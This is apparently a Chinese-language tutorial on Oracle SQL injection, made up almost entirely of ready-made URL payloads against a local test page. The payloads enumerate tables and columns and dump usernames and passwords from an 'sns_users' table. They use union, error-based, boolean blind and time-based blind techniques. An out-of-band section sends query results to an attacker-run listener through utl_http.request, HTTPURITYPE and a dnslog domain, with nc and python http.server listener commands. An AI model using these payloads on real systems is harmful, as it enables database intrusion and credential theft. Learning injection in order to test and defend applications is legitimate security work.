ORACLE SQL 注入
簡介
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統,此數據庫體量較大,一般與jsp網站聯合。其注入原理與MySQL一致。
基礎知識
//注釋符 多行注釋:/**/,單行注釋:--
1.dual表
此表是Oracle數據庫中的一個自帶表,有說法這是一個虛擬表,也有的說是一個實表,它實際上位滿足查詢條件而產生。
與MySQL不同的是,在MySQL中查詢語句可以直接是:select 1,2,但是在Oracle中就必須跟一個表名,如下:select * from dual
2.基本用法
select * from all_tables 查詢出所有的表
select * from user_tables 查詢出當前用戶的表
select*from all_tab_columns 查詢出所有的字段
select*from user_tab_columns 查詢出當前用戶的字段
select*from v$version 查版本
3.rownum=1 (限制查詢返回的總行數為一條)
對於rownum來說它是oracle系統順序分配為從查詢返回的行的編號,返回的第一行分配的是1,第二行是2,依此類推,這個偽字段可以用於限制查詢返回的總行數。
我們可以用rownum<3來要求他輸出2條數據
聯合注入
注入點確定
跟其他數據庫一樣,檢測注入點都是可以通過拼接and語句進行判斷。這里通過and 1=1 和and 1=2進行判斷。實戰中還可以通過延時函數進行判斷。也可以用1<>2/1<>1
http://127.0.0.1/new_list.php?id=1 and 1=1--+
http://127.0.0.1/new_list.php?id=1 and 1=2--+
判斷字段數
http://127.0.0.1/new_list.php?id=1 order by 2 --+
獲取顯錯點
//聯合查詢
http://127.0.0.1/new_list.php?id=-1 union select null,null from dual
//修改null為'null',判斷字段類型均為字符型
http://127.0.0.1/new_list.php?id=-1 union select 'null','null' from dual
//Dual 是 Oracle中的一個實際存在的表,任何用戶均可讀取。所以可以通過這個dual表 來顯示列數。
查詢數據庫信息
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
1.當前用戶權限 (select * from session_roles where rownum=1)
2.當前數據庫版本 (select banner from sys.v_$version where rownum=1)
3.服務器出口IP (用utl_http.request反彈注入可以實現,下面詳細操作)
4.服務器監聽IP (select utl_inaddr.get_host_address from dual where rownum=1)
5.日志文件 (select member from v$logfile where rownum=1)
6.服務器sid (select instance_name from v$instance where rownum=1)
7.當前連接用戶 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual where rownum=1)
8.當前用戶 (select user from dual where rownum=1)
//查詢數據庫名
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual
查詢表名
//獲取第一個表
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
//獲取第二個表
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
//獲取第三個表
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$','LOGMNR_GLOBAL$')) from dual
//查詢表名一般查詢admin或者user表,模糊搜索查詢user
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
查詢列名
//獲取sns_users表里的字段
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
//獲取sns_users表里的第二個字段
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual
//獲取sns_users表里的第三個字段
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in ('USER_NAME','AGENT_NAME')) from dual
....
//模糊搜索查詢user
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual
http://127.0.0.1/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name not in ('USER_NAME')) from dual
查詢數據
//查詢賬戶密碼
http://127.0.0.1/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
//查詢第二個賬戶密碼 <>:不等於
http://127.0.0.1/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'
//查詢第三個賬戶密碼
http://127.0.0.1/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong','hu')
....
報錯注入
通過報錯將需要的數據爆出來
1.ctxsys.drithsx.sn()
http://127.0.0.1/new_list.php?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
(select banner from sys.v_$version where rownum=1) from dual
2.XMLType()
http://127.0.0.1/new_list.php?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
3.dbms_xdb_version.checkin()
http://127.0.0.1/new_list.php?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
4.bms_xdb_version.makeversioned()
http://127.0.0.1/new_list.php?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
5.dbms_xdb_version.uncheckout()
http://127.0.0.1/new_list.php?id=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
6.dbms_utility.sqlid_to_sqlhash()
http://127.0.0.1/new_list.php?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
7.ordsys.ord_dicom.getmappingxpath()
http://127.0.0.1/new_list.php?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user)--
//實際測試3456可以報錯顯示數據 127未能報錯,顯示數據,可能是環境問題
布爾型盲注
通過構造不同條件,返回返回頁面的不同,就形成了Bool值的注入
decode函數布爾盲注
decode(字段或字段的運算,值1,值2,值3)
這個函數運行的結果是,當字段或字段的運算的值等於值1時,該函數返回值2,否則返回值3
ASCII碼(a-z~A-Z 32~126)
//測試用戶名長度
http://127.0.0.1/new_list.php?id=1 and 6=(select length(user) from dual) --+
//爆第一個字符
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --
//爆第二個字符
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr(user,2,1)),'83',1,0) from dual) --
...
//驗證爆出的是否正確
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
//查數據庫,表名,列名,數據都可以結合union注入更換user字符進行注入。
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),'83',1,0) from dual) --
case then函數布爾盲注
//這句話的意思是當user的第一個字符的ascaii碼=83時,返回1,否則返回2
case when ascii(substr(user,1,1))=83 then '1' else '2' end
//盲注中的應用
http://127.0.0.1/new_list.php?id=1 and 1 =(case when ascii(substr(user,1,1))=83 then '1' else '2' end)--
時間盲注
//DBMS_PIPE.RECEIVE_MESSAGE函數的作用是從指定管道獲取消息。
用法:DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)
pipename:varchar(128)的字符串,用以指定管道名稱,在這里我們輸入任意值即可。
timeout:integer的可選輸入參數,用來指定等待時間。
//盲注中的應用
http://127.0.0.1/new_list.php?id=1 and 1=dbms_pipe.receive_message('o', 5)--
//結合布爾進行注入
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('o',5),0) from dual) --
外帶數據注入
也是反射注入。
url_http.request()
1.首先檢測是否支持url_http.request(),頁面返回正常則表示支持
http://127.0.0.1/new_list.php?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
2.本地監聽,觀察執行SQL語句反彈輸出
python3 -m http.server 8888
或者nc -lvvp 8888
3.http訪問時可以將||進行URL編碼%7C%7C
http://127.0.0.1/new_list.php?id=1 and utl_http.request('http://IP:8888/'||(select banner from sys.v_$version where rownum=1))=1--
utl_inaddr.get_host_address()
#使用dnslog外帶數據 ||進行URL編碼%7C%7C
http://127.0.0.1/new_list.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.xxxx.dnslog.cn') from dual)is not null --
bbjhiw.dnslog.cn
HTTPURITYPE()
1.本地監聽,觀察執行SQL語句反彈輸出
python3 -m http.server 8888
或者nc -lvvp 8888
2.http訪問時可以將||進行URL編碼%7C%7C
http://127.0.0.1/new_list.php?id=1 and (select HTTPURITYPE('http://IP:8888/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --